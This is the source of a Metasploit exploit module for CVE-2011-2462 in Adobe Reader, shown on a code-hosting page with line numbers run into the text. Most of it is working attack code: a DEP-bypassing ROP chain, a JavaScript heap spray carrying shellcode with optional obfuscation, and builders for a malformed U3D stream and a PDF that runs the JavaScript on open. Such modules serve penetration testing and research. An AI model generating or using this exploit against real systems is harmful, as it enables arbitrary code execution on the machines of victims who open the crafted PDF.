Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/adobe_reader_u3d.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = AverageRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(update_info(info,14'Name' => 'Adobe Reader U3D Memory Corruption Vulnerability',15'Description' => %q{16This module exploits a vulnerability in the U3D handling within17versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.18The vulnerability is due to the use of uninitialized memory.1920Arbitrary code execution is achieved by embedding specially crafted U3D21data into a PDF document. A heap spray via JavaScript is used in order to22ensure that the memory used by the invalid pointer issue is controlled.23},24'License' => MSF_LICENSE,25'Author' =>26[27'Felipe Andres Manzano', #Original poc (@feliam)28'sinn3r',29'juan vazquez',30'jduck'31],32'References' =>33[34[ 'CVE', '2011-2462' ],35[ 'OSVDB', '77529' ],36[ 'BID', '50922' ],37[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ],38[ 'URL', 'http://blog.9bplus.com/analyzing-cve-2011-2462' ],39[ 'URL', 'https://sites.google.com/site/felipeandresmanzano/PDFU3DExploitJS_CVE_2009_2990.py?attredirects=0'], #Original PoC40[ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ]41],42'DefaultOptions' =>43{44'EXITFUNC' => 'process',45'DisablePayloadHandler' => true46},47'Payload' =>48{49'Space' => 1000,50'BadChars' => "\x00",51'DisableNops' => true52},53'Platform' => 'win',54'Targets' =>55[56[57# Adobe Reader 9.4.0 / XP SP358# Adobe Reader 9.4.5 / XP SP359# Adobe Reader 9.4.6 / XP SP360'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3',61{62# gadget from icucnv36:63# mov ecx,dword ptr [eax+3Ch]64# mov eax,dword ptr [ecx]65# call dword ptr [eax+1Ch]66'Ret' => 0x4a8453c367}68],69],70'DisclosureDate' => '2011-12-06', #Needs to be checked71'DefaultTarget' => 0))7273register_options(74[75OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),76OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])77])7879end8081def junk(n=1)82tmp = []83value = rand_text(4).unpack("L")[0].to_i84n.times { tmp << value }85return tmp86end8788def exploit89# DEP bypass; uses icucnv36.dll90stack_data = [91junk,920x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot930x0c0c0c0c, # becomes esi940x4a806f29, # pop edi / pop esi / pop ebp / ret 14h950x4a8a0000, # becomes edi960x4a802196, # becomes esi970x4a801f90, # becomes ebp980x4a806f29, # pop edi / pop esi / pop ebp / ret 14h990x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding100junk(4),1010x00000000, # becomes edi1020x00000002, # becomes esi1030x00000102, # becomes ebp1040x4a806f29, # pop edi / pop esi / pop ebp / ret 14h105junk(5),1060x4a80a8a6, # becomes edi1070x4a801f90, # becomes esi1080x4a849038, # becomes ebp1090x4a8063a5, # pop ecx / ret110junk(5),1110x4a8a0000, # becomes ecx1120x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address)1130x4a801f90, # pop eax / ret1140x4a84903c, # becomes eax (import for CreateFileA)1150x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA}1160x4a801064, # ret for CreateFileA # ret1170x00000000, # __in LPCTSTR lpFileName1180x10000000, # __in DWORD dwDesiredAccess1190x00000000, # __in DWORD dwShareMode1200x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes1210x00000002, # __in DWORD dwCreationDisposition1220x00000102, # __in DWORD dwFlagsAndAttributes1230x00000000, # __in_opt HANDLE hTemplateFile1240x4a8063a5, # pop ecx / ret1250x4a801064, # becomes ecx1260x4a842db2, # xchg eax, edi / ret1270x4a802ab1, # pop ebx / ret1280x00000008, # becomes ebx1290x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret1300x4a801f90, # pop eax / ret1310x4a849038, # becomes eax (import for CreateFileA)1320x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA}1330x4a801064, # ret for CreateFileMappingA # ret1340xffffffff, # __in HANDLE hFile # mapped at 0c0c0ce0 => Stores Result of CreateFileA1350x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpAttributes,1360x00000040, # __in DWORD flProtect,1370x00000000, # __in DWORD dwMaximumSizeHigh,1380x00010000, # __in DWORD dwMaximumSizeLow,1390x00000000, # __in_opt LPCTSTR lpName1400x4a8063a5, # pop ecx / ret1410x4a801064, # becomes ecx1420x4a842db2, # xchg eax, edi / ret1430x4a802ab1, # pop ebx / ret1440x00000008, # becomes ebx1450x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret1460x4a801f90, # pop eax / ret1470x4a849030, # becomes eax (import for kernel32!MapViewOfFile)1480x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile}1490x4a801064, # ret for MapViewOfFile # ret1500xffffffff, # __in HANDLE hFileMappingObject # mapped at 0x0c0c0d20 => {Result of FileMappingA}1510x00000022, # __in DWORD dwDesiredAccess1520x00000000, # __in DWORD dwFileOffsetHigh1530x00000000, # __in DWORD dwFileOffsetLow1540x00010000, # __in SIZE_T dwNumberOfBytesToMap1550x4a8063a5, # pop ecx / ret1560x4a8a0004, # becomes ecx1570x4a802196, # mov dword ptr [ecx],eax / ret # Stores result of MapViewOfFile1580x4a8063a5, # pop ecx / ret1590x4a801064, # becomes ecx1600x4a842db2, # xchg eax, edi / ret1610x4a802ab1, # pop ebx / ret1620x00000030, # becomes ebx1630x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0db8, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret1640x4a801f90, # pop eax / ret1650x4a8a0004, # becomes eax {Result of MapViewOfFile}1660x4a80a7d8, # mov eax,dword ptr [eax] / ret1670x4a8063a5, # pop ecx / ret1680x4a801064, # becomes ecx1690x4a842db2, # xchg eax, edi / ret1700x4a802ab1, # pop ebx / ret1710x00000020, # becomes ebx1720x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dbc, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret1730x4a8063a5, # pop ecx / ret1740x4a801064, # becomes ecx1750x4a80aedc, # lea edx,[esp+0Ch] (edx => 0c0c0d94) / push edx {0c0c0d94} / push eax {Result of MapViewOfFile} / push dword ptr [esp+0Ch] ([0c0c0d8c] => 0x34) / push dword ptr [4a8a093c] ([4a8a093c] = 0x0) / call ecx (u 0x4a801064 => ret) / add esp, 10h / ret1760x4a801f90, # pop eax / ret1770x00000034, # becomes eax # mapped at 0c0c0d8c1780x4a80d585, # add eax, edx / ret (eax => 0c0c0dc8 => shellcode after ROP chain)1790x4a8063a5, # pop ecx / ret # mapped at 0c0c0d941800x4a801064, # becomes ecx1810x4a842db2, # xchg eax,edi (edi becomes 0c0c0d8c, eax becomes Result of MapViewOfFile) / ret1820x4a802ab1, # pop ebx / ret1830x0000000a, # becomes ebx1840x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dc0, edi = {shellcode after ROP chain} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret1850x4a801f90, # pop eax / ret1860x4a849170, # becomes eax (import for MSVCR80!memcpy)1870x4a80b692, # jmp dword ptr [eax] {MSVCR80!memcpy}1880xffffffff, # ret for memcpy # mapped at 0c0c0db8 => Result of MapViewOfFile1890xffffffff, # dst (memcpy param) # mapped at 0c0c0dbc => Result of MapViewOfFile1900xffffffff, # src (memcpy param) # mapped at 0c0c0dc0 => Address of shellcode after ROP chain1910x00001000 # length (memcpy param)192].flatten.pack('V*')193194payload_buf = ''195payload_buf << stack_data196payload_buf << payload.encoded197escaped_payload = Rex::Text.to_unescape(payload_buf)198199eip_ptr =200[201junk(3),202target.ret, # EIP203junk(7),2040x0c0c0c0c, # [eax+3Ch] => becomes ecx / [0x0c0c0c0c] = 0x0c0c0c0c / [0x0c0c0c0c+1Ch] = 4a806cef => stackpivot205junk(16),206].flatten.pack('V*')207208escaped_eip = Rex::Text.to_unescape(eip_ptr)209210js = <<-JS211212var padding;213var bbb, ccc, ddd, eee, fff, ggg, hhh;214var pointers_a, i;215var x = new Array();216var y = new Array();217218function alloc(bytes) {219return padding.substr(0, (bytes - 6) / 2);220}221222function spray_eip(esc_a) {223pointers_a = unescape(esc_a);224for (i = 0; i < 2000; i++) {225x[i] = alloc(0x8) + pointers_a;226y[i] = alloc(0x88) + pointers_a;227y[i] = alloc(0x88) + pointers_a;228y[i] = alloc(0x88) + pointers_a;229}230};231232function spray_shellcode() {233bbb = unescape('#{escaped_payload}');234ccc = unescape("%u0c0c");235ccc += ccc;236237while (ccc.length + 20 + 8 < (0x8000 + 0x8000)) ccc += ccc;238239i1 = 0x0c0c - 0x24;240ddd = ccc.substring(0, i1 / 2);241242ddd += bbb;243ddd += ccc;244245i2 = 0x4000 + 0xc000;246eee = ddd.substring(0, i2 / 2);247248for (; eee.length < 0x40000 + 0x40000;) eee += eee;249250i3 = (0x1020 - 0x08) / 2;251fff = eee.substring(0, 0x80000 - i3);252253ggg = new Array();254255for (hhh = 0; hhh < 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + "s";256}257258padding = unescape("#{escaped_eip}");259while (padding.length < 0x10000)260padding = padding + padding;261262spray_shellcode();263spray_eip('%u4141');264265this.pageNum = 2;266JS267268js = js.gsub(/^ {4}/,'')269270if datastore['OBFUSCATE']271js = ::Rex::Exploitation::JSObfu.new(js)272js.obfuscate273end274275u3d = make_u3d_stream276xml = make_xml_data277pdf = make_pdf(u3d, xml, js.to_s)278print_status("Creating '#{datastore['FILENAME']}' file...")279file_create(pdf)280end281282def make_xml_data283xml = %Q|<?xml version="1.0" encoding="UTF-8"?>284<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">285<ed>kapa</ed>286<config xmclns="http://www.microsoft.org/schema/xci/2.6/">287<present>288<pdf>289<version>1</version>290<fjdklsajfodpsajfopjdsio>f</fjdklsajfodpsajfopjdsio>291<interactive>1</interactive>292</pdf>293</present>294</config>295<template xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">296<subform name="form1" layout="tb" locale="en_US">297<pageSet>298</pageSet>299</subform>300</template>301<template1 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">302<subform name="form1" layout="tb" locale="en_US">303<pageSet>304</pageSet>305</subform>306</template1>307<template2 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">308<subform name="form1" layout="tb" locale="en_US">309<pageSet>310</pageSet>311</subform>312</template2>313</xdp:xdp>|314315xml = xml.gsub(/^ {4}/, '')316return xml317end318319def u3d_pad(str, char="\x00")320len = str.length % 4321if (len > 0)322#puts "Adding %d pad bytes" % (4 - len)323return (char * (4 - len))324end325""326end327328def u3d_string(str)329([str.length].pack('v') + str)330end331332def make_u3d_stream()333#334# REFERENCE:335# http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%201st%20edition.pdf336# The File format consists of these blocks:337# [File Header Block][Declaration Block][Continuation Block]338# Each block consists of (padding is used to keep fields 32-bit aligned):339# [Block Type][Data Size][Metadata Size][Data][Data Padding][Meta Data][Meta Data Padding]340#341mc_name = u3d_string("CCCCBox01")342mr_name = u3d_string("Box01RX")343344# build the U3D header (length will be patched in later)345hdr_data = [0,0].pack('n*') # version info346hdr_data << [0,0x24,0xa34,0,0x6a].pack('VVVVV') # 31337 was 0xa34347348hdr = "U3D\x00"349hdr << [hdr_data.length,0].pack('VV')350hdr << hdr_data351352parent_node_data =353"\x01\x00\x00\x00"+ # node count (1)354"\x00\x00"+ # name (empty)355# transform matrix356[0x813f,0,0,0,0,0x813f,0,0,0,0,0x813f,0,0x548a55c0,0xa2027cc2,0,0x813f].pack('N*')357358359model_node_data = ""360model_node_data << mc_name361model_node_data << parent_node_data362model_node_data << mr_name363model_node_data << [1].pack('V') # Model Visibility (Front visible)364model_node = [0xffffff22,model_node_data.length,0].pack('VVV')365#model_node = [0xffffff22,0x5e,0].pack('VVV')366model_node << model_node_data367368bone_weight_data = ""369bone_weight_data << mc_name370bone_weight_data << [3711, # Chain index3721, # Bone Weight Attributes (for a mesh)3730x3162123b, # Inverse Quant3740x14, # Position Count375].pack('VVNV')376# Position List377bone_weight_data << [378# 13791, # Bone Weight Count3803, # Bone Index (no Quantized Weight)381# 23820x55550000, # Bone Weight Count3830x4c1df36e, # Bone Index3840x0200d002, # Quantized Weight385# 33860x95000074, # Bone Weight Count3870x66ccc357, # Bone Index3880x00000000 # Quantized Weight389].pack('VVNNNNNN')390bone_weight = [0xffffff44,0x3a,0].pack('VVV')391# We hardcode the length to match the old file.. (TODO: test if necessary)392#bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV')393bone_weight << bone_weight_data394395new_objtype1_data =396"\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a"+397"\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00"+398"\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"399#new_objtype1 = [0xffffff16,0x38,0].pack('VVV')400new_objtype1 = [0xffffff16,new_objtype1_data.length,0].pack('VVV')401new_objtype1 << new_objtype1_data402403shading_modifier_data = ""404shading_modifier_data << mc_name405shading_modifier_data <<406"\x02\x00\x00\x00\x00\x00\x00\x00\x01"+407"\x00\x00\x00\x00\x00\x00\x00\x06\x00\x42\x6f\x02\x00\x00\x00"408#shading_modifier = [0xffffff45,0x23,0].pack('VVV')409shading_modifier = [0xffffff45,shading_modifier_data.length,0].pack('VVV')410shading_modifier << shading_modifier_data411412new_objtype2_data =413"\x01\x00\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2"+414"\xdf\x2a\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x52\x01\x00\x00\x00"+415"\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"416#new_objtype2 = [0xffffff16,0x30,0].pack('VVV')417new_objtype2 = [0xffffff16,new_objtype2_data.length,0].pack('VVV')418new_objtype2 << new_objtype2_data419420nodemod_decl = ""421nodemod_decl << model_node422nodemod_decl << u3d_pad(nodemod_decl)423nodemod_decl << bone_weight424nodemod_decl << u3d_pad(nodemod_decl)425nodemod_decl << new_objtype1426nodemod_decl << u3d_pad(nodemod_decl)427nodemod_decl << shading_modifier428nodemod_decl << u3d_pad(nodemod_decl)429nodemod_decl << new_objtype2430nodemod_decl << u3d_pad(nodemod_decl)431432nodemod_decl <<433# another modifier chain?434"\x14\xff\xff\xff\xc0\x01\x00\x00\x00\x00\x00\x00"+435"\x07\x00\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00"+436"\x00\x00"+437# clod mesh generator (declaration)438"\x31\xff\xff\xff\x9b\x01\x00\x00\x00\x00\x00\x00\x07\x00\x42\x6f\x78\x30\x31\x52"+439"\x58\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x14\x00\x00\x00\x6c\x00\x00\x00\x00"+440"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+441"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c"+442"\x01\x00\x00\x87\x52\x0a\x3d\xa6\x05\x6f\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d"+443"\x3c\x66\x66\x66\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x04\x00\x00\x00\x07\x00\x53\x63\x61"+444"\x70\x75\x6c\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+445"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+446"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+447"\x07\x00\x48\x75\x6d\x65\x72\x75\x73\x07\x00\x53\x63\x61\x70\x75\x6c\x61\x00\x00\x00\x00"+448"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+449"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+450"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x55\x6c\x6e\x61\x07\x00\x48\x75"+451"\x6d\x65\x72\x75\x73\x00\x00\x00\x00\x00\x00\x20\x41\x00\x00\x00\x00\x00\x00\x20\x41\x00"+452"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+453"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06"+454"\x00\x52\x61\x64\x69\x75\x73\x04\x00\x55\x6c\x6e\x61\x00\x00\x00\x00\x00\x00\x70\x41\x00"+455"\x00\x00\x00\x00\x00\x70\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+456"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+457"\x00\x00\x00\x00\x00\x00\x00\x00"+458# clod mesh generator (progressive mesh cont)459"\x3c\xff\xff\xff\x6f\x01\x00\x00\x00\x00\x00\x00\x07\x00"+460"\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00"+461"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x50\x02\x00\x00\x28\x01"+462"\x00\x00\x7f\x75\x2f\x2b\x00\x00\x20\x73\x00\x00\xc3\x05\x00\x00\x00\x00\x00\x00\x80\x02"+463"\x45\xe4\x4c\x55\x01\x00\x00\xe0\x30\x03\x00\x00\xb0\x01\x00\x00\x00\x36\x00\x00\x00\x00"+464"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x55\x55\x05\x00\x80\xa3\x2a\x00\xc0\xe1"+465"\x41\x6b\x92\xf2\xa4\x00\x00\x72\x87\x18\x4c\xd0\xda\x00\x00\x20\x46\xa9\x03\x00\x40\x8c"+466"\x00\x00\xa0\x7c\xa9\xa7\x10\x03\x00\x00\xc4\x09\x00\x00\x0d\xd2\x50\x85\x03\x72\x00\x80"+467"\x5c\x37\x19\xc1\xb9\x0f\x00\x20\x55\xf7\x13\x00\x40\x00\xdc\x1f\xf9\x2c\x35\x30\x6e\x06"+468"\x62\xb6\xea\x09\x2e\x7b\x28\xa4\x90\xe0\xb3\x63\x2c\x20\x92\x2a\x88\xbc\x06\x3a\xff\x80"+469"\x43\xb2\x00\x00\x00\x14\x62\x0e\x63\xb4\x04\x08\x47\x52\x20\x31\xca\x00\x00\xb4\x21\xe0"+470"\xd7\x01\x00\xa0\x1a\x72\x11\x71\xc2\x2c\x74\xc1\xa3\x56\xfa\x30\x03\x00\xe0\x7b\xd0\x62"+471"\x2a\x00\x40\x71\xfa\x6c\xc6\xcf\x07\x78\x81\xd0\x47\x3d\x58\x0e\x51\x0f\x2e\x27\x2d\xbe"+472"\x26\x10\x06\x6f\x3a\x40\xae\x36\x6a\x43\x60\xdf\xcb\xef\x8c\x38\xca\x04\x92\x79\x4b\x79"+473"\xe9\x42\xbd\x2b\xb9\x5b\x86\x60\x65\xa4\x75\x01\x19\xda\xcf\x6a\xf7\x2a\x77\x3c\xde\xf1"+474"\x11\x75\x33\xd3\x94\x74\x4a\x14\x73\x4b\x18\xa1\x66\xc2\x0f\xde\x3d\xed\x19\xd4\x32\x2e"+475"\xb6\x11\xf2\xc6\x2f\x13\x62\xb9\xe5\xe1\x03\x8b\xb5\x1c\x23\x9f\x80\x03\x75\xb6\x26\xd3"+476"\x1c\x16\x5f\x9b\x3c\xea\x62\x10\xe1\xb1\x00\x00\x00\x00"477478# build the modifier chain479chain_data = ""480chain_data << mc_name481chain_data << [0].pack('V') # type (node modifier)482chain_data << [0].pack('V') # attributes (no bounding info)483chain_data << u3d_pad(chain_data)484chain_data << [0x5].pack('V') # number of modifiers485chain_data << nodemod_decl486#modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') # chain_data was 0x17c bytes487modifier_chain = [0xffffff14,0x17c,0].pack('VVV')488modifier_chain << chain_data489490data = ""491data << hdr492data << modifier_chain493494data495end496497def random_non_ascii_string(count)498result = ""499count.times do500result << (rand(128) + 128).chr501end502result503end504505def io_def(id)506"%d 0 obj\n" % id507end508509def io_ref(id)510"%d 0 R" % id511end512513def ascii_hex_whitespace_encode(str)514result = ""515whitespace = ""516str.each_byte do |b|517result << whitespace << "%02x" % b518whitespace = " " * (rand(3) + 1)519end520result << ">"521end522523def make_pdf(u3d_stream, xml, js_doc)524xref = []525eol = "\x0a"526obj_end = "" << eol << "endobj" << eol527528# the header529pdf = "%PDF-1.7" << eol530531# filename/comment532pdf << "%" << random_non_ascii_string(4) << eol533534email = rand_text_alpha(3) + "@" + rand_text_alpha(4) + ".com"535site = rand_text_alpha(5) + ".com"536xref << pdf.length537pdf << io_def(1)538pdf << "<</Author (Fo)/email (#{email})/web (site)>>"539pdf << obj_end540541compressed_xml = Zlib::Deflate.deflate(xml)542xref << pdf.length543pdf << io_def(2)544pdf << "<</Length " << compressed_xml.length.to_s << " /Filter /FlateDecode>>" << eol545pdf << "stream" << eol546pdf << compressed_xml << eol547pdf << "endstream"548pdf << obj_end549550xref << pdf.length551pdf << io_def(3)552pdf << "<</XFA " << io_ref(2) << ">>"553pdf << obj_end554555xref << pdf.length556pdf << io_def(4)557pdf << "<</Type/Catalog/Outlines " << io_ref(5)558pdf << " /Pages " << io_ref(6)559pdf << " /OpenAction " << io_ref(14)560pdf << " /AcroForm " << io_ref(3)561pdf << ">>"562pdf << obj_end563564xref << pdf.length565pdf << io_def(5) << "<</Type/Outlines/Count 0>>"566pdf << obj_end567568xref << pdf.length569pdf << io_def(6)570pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [io_ref(13), io_ref(9), io_ref(12)]571pdf << obj_end572573data = "\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5"574compressed_data = Zlib::Deflate.deflate(data)575xref << pdf.length576pdf << io_def(7)577pdf << "<</Length %s /Filter /FlateDecode>>" %compressed_data.length.to_s << eol578pdf << "stream" << eol579pdf << compressed_data << eol580pdf << "endstream"581pdf << obj_end582583xref << pdf.length584pdf << io_def(8)585pdf << "<</ProcSet [/PDF]>>"586pdf << obj_end587588xref << pdf.length589pdf << io_def(9)590pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [io_ref(6), io_ref(7), io_ref(8)]591pdf << obj_end592593compressed_u3d = Zlib::Deflate::deflate(u3d_stream)594xref << pdf.length595pdf << io_def(10)596pdf << "<</Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode>>" %compressed_u3d.length.to_s << eol597pdf << "stream" << eol598pdf << compressed_u3d << eol599pdf << "endstream"600pdf << obj_end601602xref << pdf.length603pdf << io_def(11)604pdf << "<</Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA <</A/PO/DIS/I>>"605pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" %io_ref(10)606pdf << obj_end607608xref << pdf.length609pdf << io_def(12)610pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [io_ref(6), io_ref(7), io_ref(8), io_ref(11)]611pdf << obj_end612613xref << pdf.length614pdf << io_def(13)615pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [io_ref(6), io_ref(7), io_ref(8)]616pdf << obj_end617618xref << pdf.length619pdf << io_def(14)620pdf << "<</S/JavaScript/JS %s>>" %io_ref(15)621pdf << obj_end622623compressed_js = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_doc))624xref << pdf.length625pdf << io_def(15)626pdf << "<</Length " << compressed_js.length.to_s << " /Filter [/FlateDecode/ASCIIHexDecode]>>"627pdf << "stream" << eol628pdf << compressed_js << eol629pdf << "endstream"630pdf << obj_end631632# xrefs633xrefPosition = pdf.length634pdf << "xref" << eol635pdf << "0 %d" % (xref.length + 1) << eol636pdf << "0000000000 65535 f" << eol637xref.each do |index|638pdf << "%010d 00000 n" % index << eol639end640641# trailer642pdf << "trailer" << eol643pdf << "<</Size %d/Root " % (xref.length + 1) << io_ref(4) << ">>" << eol644pdf << "startxref" << eol645pdf << xrefPosition.to_s() << eol646pdf << "%%EOF" << eol647end648end649650651